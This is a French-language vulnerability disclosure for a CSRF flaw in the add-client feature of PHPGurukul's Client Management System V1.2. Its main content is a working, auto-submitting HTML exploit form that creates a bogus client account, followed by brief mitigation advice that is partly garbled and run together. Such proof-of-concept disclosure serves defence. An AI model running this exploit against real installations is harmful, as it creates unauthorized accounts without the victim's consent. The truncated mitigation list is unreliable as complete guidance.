
Preuve de concept démontrant une vulnérabilité CSRF dans un système de gestion de clients basé sur PHP, avec du code d'exploitation HTML et des stratégies d'atténuation pour les tests de sécurité d'applications web.
Nom du projet et URL du dépôt : https://phpgurukul.com/client-management-system-using-php-mysql/
Nom de la vulnérabilité : Cross-Site Request Forgery (CSRF)
Version affectée : V1.2
Une vulnérabilité de type Cross-Site Request Forgery (CSRF) existe dans la fonctionnalité d'ajout de client du Client Management System développé par PHPGurukul. Le CSRF est une attaque par laquelle un utilisateur authentifié est amené à soumettre une requête malveillante à une application web. Cela peut conduire à l'exécution d'actions non autorisées au nom de l'utilisateur. Dans ce rapport, nous montrons comment le CSRF peut être utilisé pour créer de faux utilisateurs dans un Client Management System et suggérons des stratégies d'atténuation.
Utilisez les identifiants fournis pour vous connecter au Client Management System.



Voici le PoC HTML pour l'attaque CSRF :
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



Pour prévenir les attaques CSRF, mettez en œuvre les mesures suivantes :
SameSite=Strict ou SameSite=Lax.POST pour les actions sensibles et évitez de traiter les requêtes GET ayant des effets secondaires.Ce rapport démontre comment les vulnérabilités CSRF peuvent être exploitées pour créer des clients non autorisés dans un Client Management System. La mise en œuvre des stratégies d'atténuation suggérées contribuera à sécuriser l'application contre de telles attaques.